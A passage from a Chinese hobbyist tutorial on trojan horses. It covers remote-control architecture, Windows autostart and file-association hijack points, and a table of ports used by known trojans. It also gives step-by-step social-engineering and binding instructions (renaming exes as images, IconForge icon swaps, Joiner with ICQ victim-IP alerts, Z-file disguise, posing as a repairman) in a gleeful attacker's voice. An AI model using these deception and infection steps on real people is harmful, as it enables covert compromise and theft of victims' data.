看透木马

  一、必备基础知识
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明，因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分、软件部分和具体连接部分组成。
小知识：
　　 “木马”全称是“特洛伊木马(Trojan Horse)”，原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上，“特洛伊木马”指一些程序设计人员在其可从网络上下载(Download)的应用程序或游戏中，包含了可以控制用户的计算机系统的程序，可能造成用户的系统被破坏甚至瘫痪。
1.硬件部分
建立木马连接所必须的硬件实体。
控制端：对服务端进行远程控制的一方。
服务端：被控制端远程控制的一方。
INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。
2.软件部分
实现远程控制所必须的软件程序。
控制端程序：控制端用以远程控制服务端的程序。
木马程序：潜入服务端内部，获取其操作权限的程序。
木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。
3.具体连接部分
通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。
控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。
控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马程序。
二、特洛伊木马的攻击步骤
用木马这种黑客工具进行网络入侵，从过程上看大致可分为六步，下面我们就按这六步来详细阐述木马的攻击原理。
1. 配置木马
一般来说一个设计成熟的木马都有木马配置程序，从具体的配置内容看，主要是为了实现以下两方面功能：
（1）木马伪装：木马配置程序为了在服务端尽可能好的隐藏木马，会采用多种伪装手段，如修改图标，捆绑文件，定制端口，自我销毁等等。
（2）信息反馈：木马配置程序将就信息反馈的方式或地址进行设置，如设置信息反馈的邮件地址、IRC号、ICQ号等。
2. 传播木马
（1）传播方式
木马的传播方式主要有两种：一种是通过E－MAIL，控制端将木马程序以附件的形式夹在邮件中发送出去， 收信人只要打开附件系统就会感染木马　另一种是软件下载，一些非正规的网站以提供软件下载为名义，将木马捆绑在软件安装程序上，下载后，只要一运行这些程序，木马就会自动安装。
（2）伪装方式
鉴于木马的危害性，很多人对木马知识还是有一定了解的，这对木马的传播起了一定的抑制作用，这是木马设计者所不愿见到的，因此他们开发了多种功能来伪装木马，以达到降低用户警觉，欺骗用户的目的。一般来说有以下几种：
◆修改图标
也许你会在E－MAIL的附件中看到一个很平常的文本图标，但是我不得不告诉你，这也有可能是个木马程序，现在已经有木马可以将木马服务端程序的图标改成HTML，TXT， ZIP等各种文件的图标，这有相当大的迷惑性，但是目前提供这种功能的木马还不多见，并且这种伪装也不是无懈可击的，所以不必整天提心吊胆、疑神疑鬼的。
◆捆绑文件
这种伪装手段是将木马捆绑到一个安装程序上，当安装程序运行时，木马在用户毫无察觉的 情况下，偷偷的进入了系统。至于被捆绑的文件一般是可执行文件　即EXE、COM一类的文件　。
◆出错显示
有一定木马知识的人都知道，如果打开一个文件，没有任何反应，这很可能就是个木马程序， 木马的设计者也意识到了这个缺陷，所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马程序时，会弹出一个错误提示框　这当然是假的　，错误内容可自由定义，大多会定制成一些诸如“文件已破坏，无法打开的！”之类的信息，当服务端用户信以为真时，木马却悄悄侵入了系统。
◆定制端口
很多老式的木马端口都是固定的，这给判断是否感染了木马带来了方便，只要查一下特定的 端口就知道感染了什么木马，所以现在很多新式的木马都加入了定制端口的功能，控制端用户可以在1024——65535之间任选一个端口作为木马端口　一般不选1024以下的端口　，这样就给判断所感染木马类型带来了麻烦。
◆自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后，木马会将自己拷贝到WINDOWS的系统文件的C　\WINDOWS或C　\WINDOWS\SYSTEM目录下　，一般来说原木马文件和系统文件夹中的木马文件的大小是一样的　捆绑文件的木马除外　，那么中了木马的朋友只要在近来收到的信件和下载的软件中找到原木马文件，然后根据原木马的大小去系统文件夹找相同大小的文件， 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木马后，原木马文件将自动销毁，这样服务端用户就很难找到木马的来源，在没有查杀木马的工具帮助下，就很难删除木马了。
◆木马更名
安装到系统文件夹中的木马的文件名一般是固定的，那么只要根据一些查杀木马的文章，按 图索骥在系统文件夹查找特定的文件，就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名，这样很难判断所感染的木马类型了。
◆其他
其他是高资黑客专用版，不再描述之列，一般不会针对普通用户。可以说句，有安装软件时有些软件会拷贝动态链接库到系统，嘿嘿。
3．运行木马
服务端用户运行木马或捆绑木马的程序后，木马就会自动进行安装。首先将自身拷贝到WINDOWS的系统文件夹中　C　\WINDOWS或C　\WINDOWS\SYSTEM目录下　，然后在注册表，启动组，非启动组中设置好木马的触发条件，这样木马的安装就完成了。安装后就可以启动木马了。
　1　由触发条件激活木马
触发条件是指启动木马的条件，大致出现在下面38个地方，现说明17个地方，嘿嘿，其他是高资黑客专用版，不再描述之列，一般不会针对普通用户。
◆注册表　打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\下的五个以Run 和RunServices主键，在其中寻找可能是启动木马的键值。打开HKEY_CLASSES_ROOT文件类型shellopencommand主键，查看其键值。举个例子，国产木马“冰河”就是修改HKEY_CLASSES_ROOTtxtfileshellopencommand下的键值，将“C :WINDOWS NOTEPAD.EXE %1”改为“C:WINDOWSSYSTEMSYSEXPLR.EXE %1”，这时你双击一个TXT文件后，原本应用NOTEPAD打开文件的，现在却变成启动木马程序了。还要说明的是不光是TXT文件，通过修改HTML，EXE，ZIP等文件的启动命令的键值都可以启动木马，不同之处只在于“文件类型”这个主键的差别，TXT是txtfile，ZIP是WINZIP，大家可以试着去找一下。
这注册表里可以隐藏的地方太多了,就不一一讲了.
◆WIN.INI　C　\WINDOWS目录下有一个配置文件win.ini，用文本方式打开，在　windows　字段中有启动命令load=和run=，在一般情况下是空白的，如果有启动程序，可能是木马。
◆SYSTEM.INI　C　\WINDOWS目录下有个配置文件system.ini，用文本方式打开，在　386Enh　，　mic　， 　drivers32　boot中有命令行，在其中寻找木马的启动命令。
◆Autoexec.bat和Config.sys　在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后，将已添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行。
◆Winstart.bat和Dosstart.bat Winstart.bat在启动GUI图形界面环境时会加载该批处理，有些黑客利用用户不常知Winstart.bat的特点和在安全模式下一步一步审核运行程序并不能关闭该批处理的特点而经常使用到它。Dosstart.bat在进入MS-DOS方式下运行，这个有点都，差不多人并不知道它的存在。
◆＊.INI　即应用程序的启动配置文件，控制端利用这些文件能启动程序的特点，将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件，这样就可以达到启动木马的目的了。
◆注册表　打开HKEY_CLASSES_ROOT\文件类型\shell\open\command主键，查看其键值。举个例子，国产木马“冰河”就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的键值，将“C 　\WINDOWS \NOTEPAD.EXE ％1”改为“C　\WINDOWS\SYSTEM\SYSEXPLR.EXE ％1”，这时你双击一个TXT文件后，原本应用NOTEPAD打开文件的，现在却变成启动木马程序了。还要说明的是不光是TXT文件，通过修改HTML，EXE，ZIP等文件的启动命令的键值都可以启动木马，不同之处只在于“文件类型”这个主键的差别，TXT是txtfile，ZIP是WINZIP，大家可以试着去找一下。
◆捆绑文件：实现这种触发条件首先要控制端和服务端通过木马建立连接，然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起，然后上传到服务端覆盖原文件，这样即使木马被删除了，只要运行捆绑了木马的应用程序，木马又会被安装上去了。
◆Autorun.inf 这个在很久以前就已经有人运用了，著名的CIH就有这种传染方式。他是Windows的自动运行文件，一般制作光盘时会使用到。经常用到的是把程序名改成中文全角空格或按Alt+小键盘255产生的空格加载木马程序。
◆启动菜单：在“开始——程序——启动”选项下也可能有木马的触发条件。
◆通过API HOOK启动
这种方法一般应用在病毒传染式上，通过替换系统的Dll文件，让系统启动指定的程序。例如：拨号上网的用户必须使用Rasapi32.dll中的API函数来进行连接，那么黑客就会替换这个Dll，当用户的应用程序调用这个API函数，黑客程序就会先启动，然后调用真正的函数来完成这个功能（特别提示：木马不一定指EXE，还可以是Dll、VXD等），这样既方便又隐蔽（不上网时根本不运行）。
◆通过VXD启动
此法也是高手专用版，嘿嘿。通过把木马写成VXD形式加载直接控制系统底层，极为罕见。它们一般在注册表[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD]主键中启动，很难发觉。
◆通过浏览网页启动
通过此途径的方法很多，一般利用MIME漏洞
◆利用JAVA Applet
划时代的JAVA更高效、更方便-不过是悄悄地修改你的注册表，让你千百次的访问黄（黑）色网站，嘿嘿。让你关不了机器，让你.......嘿嘿，还可以让你中木马。这种方法很简单，先利用HTML把木马下载到你的缓存当中，然后修改注册表，指向其程序，嘿嘿，用的人多了就不多说了。
◆病毒传染式
这种方法并不是很常用，不过这种危害性最大，黑客高手专用版。他一般会感染一些系统经常调用的如动态链接库等类的文件，有些是有针对性的感染某个动态链接库，有些是广泛的感染型。一般是修改系统正常调用到的函数使其先调用传导部分，然后再将其递归给系统。其有直接修改动态链接库法和调用病毒与木马法或编译病毒或木马发等。并且这种方法使用的时候黑客一般会杀除杀毒软件和防火墙，有时还会杀除某些对其有威胁的进程，使受黑客能够最大限度的控制受感染电脑。有些人还想到专门感染Command.com文件，通过它自动写入批处理文件加载木马、病毒，然后跳转到正常程序，虽然很老的方法，但目前非常有用。有些人也想到写一个简单的DEBUG程序并自动编译16进制代码运行它的手法，在DOS下运行木马，加载木马，这些方法非常狠毒，因为目前的杀毒软件已经“成功”地向Windows等转型了。嘿嘿。
◆通过文件关联启动
这种是很受黑客喜爱的方式，通过EXE文件的关联，让系统在执行任何程序之前都运行木马，非常厉害。通常还有修改文本文件管理、注册表文件关联、未知文件关联、动态链接库文件关联（DLL）等。为了防止用户恢复注册表，用此方法的黑客通常会谋杀掉scanreg.exe、sfc.exe、extrac32.exe、regedit.exe等程序，阻碍用户修复。
◆利用系统自动运行的程序
这一条主要是利用用户的麻痹大意和系统的运行机制进行，命中率高。在系统运行过程中，有许多程序是自动运行的，比如：磁盘空间满时，系统自动运行“磁盘清理”程序；启动资源管理器失败时，双击桌面将自动运行“任务管理器”程序；格式化磁盘完成时系统将提示使用“磁盘扫描”程序；点击帮助或按F1时，系统将运行Winhelp.exe或hh.exe打开帮助文件等等等等，嘿嘿，想不到吧~~~~这些就为恶意程序、木马、病毒等提供了机会，通过覆盖这些文件，不必修改任何设置系统就会自动运行它们！而用户在检查注册表和系统配置是不会引起怀疑的，我还有一种方法，嘿嘿，不用覆盖程序也可以达到目的：利用System(System32)目录比Windows目录有限的这个特点，以相同的文件名，将程序放到System(System32)目录中，你自己可以试试看，哈哈
◆其他方法
嘿嘿，不讲，再讲我就没有办法黑别人了，嘿嘿。总之是高级黑客专用。
　2　木马运行过程
木马被激活后，进入内存，并开启事先定义的木马端口，准备与控制端建立连接。这时服务端用户可以在MS－DOS方式下，键入NETSTAT－AN查看端口状态，一般个人电脑在脱机状态下是不会有端口开放的，如果有端口开放，你就要注意是否感染木马了。
在上网过程中要下载软件，发送信件，网上聊天等必然打开一些端口，下面是一些常用的端口：
　1　1——1024之间的端口：这些端口叫保留端口，是专给一些对外通讯的程序用的，如FTP使用21， SMTP使用25，POP3使用110等。只有很少木马会用保留端口作为木马端口的。
　2　1025以上的连续端口：在上网浏览网站时，浏览器会打开多个连续的端口下载文字、图片到本地硬盘上，这些端口都是1025以上的连续端口。
　3　4000端口：这是OICQ的通讯端口。
　4　6667端口：这是IRC的通讯端口。 除上述的端口基本可以排除在外，如发现还有其它端口打开，尤其是数值比较大的端口，那就要怀疑是否感染了木马，当然如果木马有定制端口的功能，那任何端口都有可能是木马端口。
3. 病毒传染
一般来说木马并不具有传染性,但目前日新月异的网络时代什么样的事情没有呀?它们不仅能够控制别人的计算机,还能传染特定或某个软件提升自我权限,达到如合法关闭服务，传送用户密码等。更有甚者可以自动编写病毒传染。
4．信息泄露
一般来说，设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集一些服务端的软硬件信息，并通过E－MAIL、IRC或ICQ的方式告知控制端用户。
从中我们可以知道服务端的一些软硬件信息，包括使用的操作系统，系统目录，硬盘分区情况，系统口令等，在这些信息中，最重要的是服务端IP，因为只有得到这个参数，控制端才能与服务端建立连接，具体的连接方法我们会在下一节中讲解。
5． 建立连接
这一节我们讲解一下木马连接是怎样建立的。一个木马连接的建立首先必须满足两个条件：一是服务端已安装了木马程序；二是控制端，服务端都要在线。在此基础上控制端可以通过木马端口与服务端建立连接。
假设A机为控制端，B机为服务端，对于A机来说要与B机建立连接必须知道B机的木马端口和IP地址，由于木马端口是A机事先设定的，为已知项，所以最重要的是如何获得B机的IP地址。获得B机的IP地址的方法主要有两种：信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了，不再赘述，我们重点来介绍IP扫描，因为B机装有木马程序，所以它的木马端口7626是处于开放状态的，所以现在A机只要扫描IP地址段中7626端口开放的主机就行了，例如图中B机的IP地址是202.102.47.56，当A机扫描到这个IP时发现它的7626端口是开放的，那么这个IP就会被添加到列表中，这时A机就可以通过木马的控 制端程序向B机发出连接信号，B机中的木马程序收到信号后立即作出响应，当A机收到响应的信号后， 开启一个随机端口1031与B机的木马端口7626建立连接，到这时一个木马连接才算真正建立。值得一提的是要扫描整个IP地址段显然费时费力，一般来说控制端都是先通过信息反馈获得服务端的IP地址，由于拨号上网的IP是动态的，即用户每次上网的IP都是不同的，但是这个IP是在一定范围内变动的，如果 B机的IP是202.102.47.56，那么B机上网IP的变动范围是在202.102.000.000——202.102.255.255，所以 每次控制端只要搜索这个IP地址段就可以找到B机了。
6．远程控制
木马连接建立后，控制端口和木马端口之间将会出现一条通道，控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系，并通过木马程序对服务端进行远程控制。下面我们就介绍一下控制端具体能享有哪些控制权限，这远比你想象的要大。
　1　窃取密码：一切以明文的形式，＊形式或缓存在CACHE中的密码都能被木马侦测到，此外很多木马还提供有击键记录功能，它将会记录服务端每次敲击键盘的动作，所以一旦有木马入侵， 密码将很容易被窃取。
　2　文件操作：控制端可藉由远程控制对服务端上的文件进行删除，新建，修改，上传，下载，运行，更改属性等一系列操作，基本涵盖了WINDOWS平台上所有的文件操作功能。
　3　修改注册表：控制端可任意修改服务端注册表，包括删除，新建或修改主键，子键，键值。有了这项功能控制端就可以禁止服务端软驱，光驱的使用，锁住服务端的注册表，将服务端上木马的触发条件设置得更隐蔽的一系列高级操作。
　4　系统操作：这项内容包括重启或关闭服务端操作系统，断开服务端网络连接，控制服务端的鼠标， 键盘，监视服务端桌面操作，查看服务端进程等，控制端甚至可以随时给服务端发送信息，想象一下，当服务端的桌面上突然跳出一段话，不吓人一跳才怪。
二、木马基本特征
木马是病毒的一种！同时木马又有不同种类，不过现在流行的木马程序都有一些共同的基本特征：
1、隐蔽性是其首要特征
和所有的病毒一样，木马也是一种病毒，它必须需要隐藏在你的系统之中，它会想尽一切办法不让你发现它。很多人对木马和远程控制软件有点分不清，因为木马程序驻留目标机器猴通过远程控制功能控制目标机器，并且木马类软件的服务端在运行的时候会意各种手段隐藏自己，不可能出现什么提示，因此，木马的制造者会想到方方面面的可能发生的迹象，一一把它们扼杀。例如大家所熟悉的木马修改注册表和ini文件以便机器在下次启动后仍然能够加载木马程序，它不是自己生成启动程序，而是依附在其他程序之中。有些把服务端和正常程序绑定成一个程序软件，可以让人在使用绑定的程序时，木马随之入侵系统，甚至有个别的木马程序能够把它自身的EXE文件和服务端的图片文件绑定，在你看到图片的时候，木马也入侵了你的系统。这就是二者最大的区别。
木马的隐藏性主要体现以下几个方面：
a、不产生图标
它虽然在你系统启动时会自动运行，但它不会在“任务栏”中产生图标，这是容易理解的，不然的话，凭你的火眼金睛一定会发现它的。我们知道想要在任务栏中隐藏图标，只需要在木马程序开发时把“Form”的“Visible”属性设置为“False”、把“ShowintaskBar”属性设置为“Flase”即可；
b、木马程序自动运行在任务管理器中隐藏，并以“系统服务”的方式欺骗操作系统。
c、木马会关联系统中的其他文件进行伪装。
d、木马会将木马程序写入特定软件或动态链接库等中
e、高资黑客专用版，不再描述之列，一般不会针对普通用户。
2、它具有自动运行性
它是一个当你系统启动时即自动运行的程序，所以它必须潜入你的启动配置文件中，如win.ini、system.ini、winstart.bat以及启动组等文件之中，其他一些属于高资黑客专用版，不再描述之列，一般不会针对普通用户。
3、木马程序具有欺骗性
木马程序要达到长期隐蔽的目的，就必须借助系统中已有的文件，以防止被你发现，它经常使用常见的文件名或扩展名，如：dll、win、sys、explorer等字样，或者仿制一些不易被人所区别的文件名，如字母“l”与数字“1”、字母“o”与数字“0”，常修改基本文件中的这些难以辨认的字符，更有甚者干脆借用系统文件中已有的文件名，只不过它们保存在不同的路径中。还有的木马为了隐藏自己，也常把自己设置成ZIP等文件式的图标，当你不小心打开它时，它马上运行，嘿嘿。等等的这些手段在那些编制木马程序的人还在不断的研究和翻新，嘿嘿。
4、具有自动恢复功能
现在的很多木马程序中的功能模块已经不在由单一的文件组成，而是具备多重备份，可以互相恢复，不是简简单单就可以删除干净的。
5、能自动打开特别端口
木马程序潜入电脑之中的目的不主要为了破坏你的系统，而是为了获取你系统中的有用信息，当你上网与远端客户进行通讯时，木马程序就会用服务器/客户段的通讯手段把信息告诉黑客们，以便黑客们控制你的机器，或实施更进一步入侵企图。你知不知道你的电脑有多少个对外的“门”，不知道吧，告诉你别吓着，根据TCP/IP协议，每台电脑可以有256乘以256扇门，也即从0到65535号“门，但我们常用的只有少数几个，你想有这么门可以进，还能进不来？当然有这些门我们也可以将其关闭的，文章最后我会附上代码。
6、功能的特殊性
通常木马的功能都十分特殊，除了普通的文件操作以外，还有些木马具有搜索Cache中的口令、设置口令、扫描目标机器的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能，上面所讲的远程控制软件是用来控制远程机器，方便自己操作而已，而不是用来黑对方机器的。
7、黑客组织趋于公开化
　　以往还从未发现有什么公开化的病毒组织，至少在80年以前，嘿嘿，多数病毒是由个别人出于好奇（当然也有专门从事这一职业的或对老板愤恨的等等原因），想试一下自己的病毒程序开发水平而做的。但他（她）绝对不敢公开，因为一旦发现是有可能被判坐牢或罚款的，这样的例子已不再什么新闻了。如果以前真的也有专门开发病毒的病毒组织，但应绝对是属于“地下”的。现在倒好，什么专门开发木马程序的组织到处都是，不光存在，而且还公开在网上大肆招兵买马，似乎已经合法化。正因如此所以黑客程序不断升级、层出不穷，黑的手段也越来越高明。我不知道为什么，但据讲其理由是“为了自卫、为了爱国” 。其实这些黑客网站等一般都是为了圈钱的，也有不少一部分是为了大多数人的安全。
其他的就不在讨论范围，这个木马基本特征也有很多人写过，我也就不多说了。
三、特洛伊木马常用的侦听端口
port 21 － Blade Runner， Doly Trojan， Fore， Invisible FTP，WebEx，WinCrash
port 23 － Tiny Telnet Server
port 25 － Antigen， Email Password Sender， Haebu Coceda， Shtrilitz Stealth，Terminator， WinPC， WinSpy
port 31 － Hackers Paradise
port 80 － Executor
port 456 － Hackers Paradise
port 555 － Ini－Killer， Phase Zero， Stealth Spy
port 666 － Satanz Backdoor
port 1001 － Silencer， WebEx
port 1011 － Doly Trojan
port 1170 － Psyber Stream Server， Voice
port 1234 － Ultors Trojan
port 1245 － VooDoo Doll
port 1492 － FTP99CMP
port 1600 － Shivka－Burka
port 1807 － SpySender
port 1981 － Shockrave
port 1999 － BackDoor
port 2001 － Trojan Cow
port 2023 － Ripper
port 2115 － Bugs
port 2140 － Deep Throat， The Invasor
port 2801 － Phineas Phucker
port 3024 － WinCrash
port 3129 － Masters Paradise
port 3150 － Deep Throat， The Invasor
port 3700 － Portal of Doom
port 4092 － WinCrash
port 4590 － ICQTrojan
port 5000 － Sockets de Troie
port 5001 － Sockets de Troie
port 5321 － Firehotcker
port 5400 － Blade Runner
port 5401 － Blade Runner
port 5402 － Blade Runner
port 5569 － Robo－Hack
port 5742 － WinCrash
port 6670 － DeepThroat
port 6771 － DeepThroat
port 6969 － GateCrasher， Priority
port 7000 － Remote Grab
port 7300 － NetMonitor
port 7301 － NetMonitor
port 7306 － NetMonitor
port 7307 － NetMonitor
port 7308 － NetMonitor
port 7789 － ICKiller
port 9872 － Portal of Doom
port 9873 － Portal of Doom
port 9874 － Portal of Doom
port 9875 － Portal of Doom
port 9989 － iNi－Killer
port 10067 － Portal of Doom
port 10167 － Portal of Doom
port 11000 － Senna Spy
port 11223 － Progenic trojan
port 12223 － Hack′99 KeyLogger
port 12345 － GabanBus， NetBus
port 12346 － GabanBus， NetBus
port 12361 － Whack－a－mole
port 12362 － Whack－a－mole
port 16969 － Priority
port 20001 － Millennium
port 20034 － NetBus 2 Pro
port 21544 － GirlFriend
port 22222 － Prosiak
port 23456 － Evil FTP， Ugly FTP
port 26274 － Delta
port 31337 － Back Orifice
port 31338 － Back Orifice， DeepBO
port 31339 － NetSpy DK
port 31666 － BOWhack
port 33333 － Prosiak
port 34324 － BigGluck， TN
port 40412 － The Spy
port 40421 － Masters Paradise
port 40422 － Masters Paradise
port 40423 － Masters Paradise
port 40426 － Masters Paradise
port 47262 － Delta
port 50505 － Sockets de Troie
port 50766 － Fore
port 53001 － Remote Windows Shutdown
port 61466 － Telecommando
port 65000 － Devil
四、黑客是如何骗取你执行木马的
如今大多数上网的朋友警惕性都很高，想骗取他们执行木马是件很困难的事，因为木马出现这么久，木马两个字听得人们耳朵都长出了老茧，可说是谈“马”色变，即使不是电脑高手都知道，一见到是exe 文件便不会轻易“招惹”它，因而中标的机会也就相对减少了。对于此，黑客们是不会甘于寂寞的，在黑客的世界里挑战与刺激才是他们趋之若婺的。
1、冒充为图像文件
首先，黑客最常使用骗别人执行木马的方法，就是将特洛伊木马说成为图像文件，比如说是照片等，应该说这是一个最不合逻辑的方法，但却是最多人中招的方法，有效而又实用 。
只要入侵者扮成美眉及更改服务器程序的文件名(例如 sam.exe )为“类似”图像文件的名称，再假装传送照片给受害者，受害者就会立刻执行它。为什么说这是一个不合逻辑的方法呢？图像文件的扩展名根本就不可能是.exe，而木马程序的扩展名基本上又必定是.exe ，明眼人一看就会知道有问题，多数人在接收时一看见是exe文件，便不会接收了，那有什么方法呢? 其实方法很简单，他只要把文件名改变，例如把“sam.exe” 更改为“sam.jpg” ，那么在传送时，对方只会看见sam.jpg 了，而到达对方电脑时，因为windows 默认值是不显示扩展名的，所以很多人都不会注意到扩展名这个问题，而恰好你的计算机又是设定为隐藏扩展名的话，那么你看到的只是sam.jpg 了，受骗也就在所难免了。
还有一个问题就是，木马本身是没有图标的，而在电脑中它会显示一个windows 预设的图标，别人一看便会知道了！但入侵者还是有办法的，这就是给文件换个“马甲”，即修改文件图标。修改文件图标的方法如下：
1）比如到 http://www.download.com 下载一个名为IconForge 的软件，再进行安装。
2）执行程序，按下File > Open
3） 在File Type 选择exe 类
4）在File > Open 中载入预先制作好的图标( 可以用绘图软件或专门制作icon 的软件制作，也可以在网上找找) 。
5）然后按下File > Save 便可以了。
如此这般最后得出的，便是看似jpg 或其他图片格式的木马了，很多人就会不经意间执行了它。
这个方法用的人还是比较多的，到现在还有人用这种方法欺骗。
2、合并程序欺骗
通常有经验的用户，是不会将图像文件和可执行文件混淆的，所以很多入侵者一不做二不休，干脆将木马程序说成是应用程序：反正都是以 exe 作为扩展名的。然后再变着花样欺骗受害者，例如说成是新出炉的游戏，无所不能的黑客程序等等，目地是让受害者立刻执行它。而木马程序执行后一般是没有任何反应的，于是在悄无声息中，很多受害者便以为是传送时文件损坏了而不再理会它。
如果有更小心的用户，上面的方法有可能会使他们的产生坏疑，所以就衍生了一些合拼程序。合拼程序是可以将两个或以上的可执行文件(exe文件) 结合为一个文件，以后只需执行这个合拼文件，两个可执行文件就会同时执行。如果入侵者将一个正常的可执行文件(一些小游戏如 wrap.exe) 和一个木马程序合拼，由于执行合拼文件时 wrap.exe会正常执行，受害者在不知情中，背地里木马程序也同时执行了。而这其中最常用到的软件就是joiner，由于它具有更大的欺骗性，使得安装特洛伊木马的一举一动了无痕迹，是一件相当危险的黑客工具。让我们来看一下它是如何运作的：
以往有不少可以把两个程序合拼的软件为黑客所使用，但其中大多都已被各大防毒软件列作病毒了，而且它们有两个突出的问题存在，这问题就是：
（1）合拼后的文件体积过大
（2）只能合拼两个执行文件
当然对于高级黑客这两种问题都不存在啦！FilePacke就是一个很好的合并软件，目前杀毒软件还没有说它有问题的，嘿嘿。Joiner也不错。此软件不但把软件合拼后的体积减少，而且可以待使用者执行后立马就能收到一个icq 的信息，告诉你对方已中招及对方的IP ，更重要的是这个软件可以把图像文件、音频文件与可执行文件合拼，用起来相当方便。
首先把Joiner 解压，然后执行Joiner ，在程序的画面里，有“First executable : ”及“ Second File : ”两项，这两行的右方都有一个文件夹图标，分别各自选择想合拼的文件。
下面还有一个Enable ICQ notification 的空格，如果选取后，当对方执行了文件时，便会收到对方的一个ICQ Web Messgaer ，里面会有对方的ip ，当然要在下面的ICQ number 填上欲收取信息的icq 号码。但开启这个功能后，合拼后的文件会比较大。
最后便按下“Join” ，在Joiner 的文件夹里，便会出现一个Result.exe 的文件，文件可更改名称，因而这种“混合体”的隐蔽性是不言而喻的。
3、以Z-file 伪装加密程序
Z-file 伪装加密软件是台湾华顺科技的产品，其经过将文件压缩加密之后，再以 bmp图像文件格式显示出来(扩展名是 bmp，执行后是一幅普通的图像)。当初设计这个软件的本意只是用来加密数据，用以就算计算机被入侵或被非法使使用时，也不容易泄漏你的机密数据所在。不过如果到了黑客手中，却可以变成一个入侵他人的帮凶。 使用者会将木马程序和小游戏合拼，再用 Z-file 加密及将 此“混合体”发给受害者，由于看上去是图像文件，受害者往往都不以为然，打开后又只是一般的图片，最可怕的地方还在于就连杀毒软件也检测不出它内藏特洛伊木马，甚至病毒！当打消了受害者警惕性后，再让他用WinZip 解压缩及执行 “伪装体 (比方说还有一份小礼物要送给他)，这样就可以成功地安装了木马程序。 如果入侵者有机会能使用受害者的电脑(比如上门维修电脑)，只要事先已经发出了“混合体，则可以直接用 Winzip 对其进行解压及安装。由于上门维修是赤着手使用其电脑，受害者根本不会怀疑有什么植入他的计算机中，而且时间并不长，30秒时间已经足够。就算是“明晃晃”地在受害者面前操作，他也不见得会看出这一双黑手正在干什么。特别值得一提的是，由于 “混合体” 可以躲过反病毒程序的检测，如果其中内含的是一触即发的病毒，那么一经结开压缩，后果将是不堪设想。
4、伪装成应用程序扩展组件
此类属于最难识别的特洛伊木马。黑客们通常将木马程序写成为任何类型的文件 (例如 dll、ocx等) 然后挂在一个十分出名的软件中，例如 OICQ 。由于OICQ本身已有一定的知名度，没有人会怀疑它的安全性，更不会有人检查它的文件是否多了。而当受害者打开OICQ时，这个有问题的文件即会同时执行。 此种方式相比起用合拼程序有一个更大的好处，那就是不用更改被入侵者的登录文件，以后每当其打开OICQ时木马程序就会同步运行 ，相较一般特洛伊木马可说是“踏雪无痕”。更要命的是，此类入侵者大多也是特洛伊木马编写者，只要稍加改动，就会派生出一支新木马来，所以即使杀是毒软件也拿它没有丝毫办法。还有些黑客利用某些软件安装时会复制一些系统没有的系统动态链接库到电脑里，通过修改使系统认为此文件比较新转而替换已有的系统文件。
　５、修改应用程序达到加载木马目的
　此类很少见，一般是一些对程序设计语言非常了解的人搞的
　６、修改电影文件
　此类更加少见，主要通过１６进制代码向系统下达后台下载木马
　７、修改Ｆｌａｓｈ动画
　此类现在并不是很流行，最常见的是利用ＯＩＣＱ的魔法表情传播木马，网上有介绍，就不多说了。只要是好友就可以无条件的运行你发给他们的动画，达到传播的目的。当然这个功能是要收钱滴～～～～嘿嘿
　８、不能讲，５５５５～～～～快没有饭吃了。
五、可怕木马
目前的木马种类非常多，如可获取管理员权限的木马（如：Trojan.IrcBounce) 、可杀反病毒及防火墙程序的木马(Backdoor.Helios)、针对IRC用户的“洪水”木马（IRC.Flood)、泄露用户个人信息的木马(Backdoor.Latinus.B)、感染后占用大量网络带宽的木马（Trojan.Crabox)等，常见的普通木马，是驻留在用户计算机里的一段服务程序，而攻击者控制的则是相应的客户端程序。服务程序通过特定的端口，打开用户计算机的连接资源。一旦攻击者所掌握的客户端程序发出请求，木马便和他连接起来，将用户的信息窃取出去。可见，此类木马的最大弱点，在于攻击者必须和用户主机建立连接，木马才能起作用。所以在对外部连接审查严格的防火墙下，这样的木马很难工作起来。而反弹式木马，在工作原理上就于常见的木马不一样。
　　由于反弹式木马使用的是系统信任的端口，系统会认为木马是普通应用程序，而不对其连接进行检查。防火墙在处理内部发出的连接时，也就信任了反弹木马。
　　“网络神偷”是目前最常见的一种反弹式木马，它的工作原理也就是这样的。这充分说明了另一条至理名言：堡垒总是从内部被突破的。 可以说反弹式木马是一种很难被处理掉的，但有矛就有盾我们推荐大家使用个人防火墙，其采用独特的“内墙”方式——应用程序访问网络规则，专门对付存在于用户计算机内部的各种不法程序对网络的应用。从而可以有效的防御像“反弹式木马”那样的骗取系统合法认证的非法程序。当用户计算机内部的应用程序访问网络的时候，必须经过防火墙的内墙的审核。合法的应用程序被审核通过；而非法的应用程序将会被防火墙个人版的“内墙”所拦截。下面我来和大家讲讲比较罕见的综合木马，通过下面的论述估计大家心里也就有了个自己认为最完善的木马程序了，不过有些比较特殊的方法就不讲了，以下是引荐：
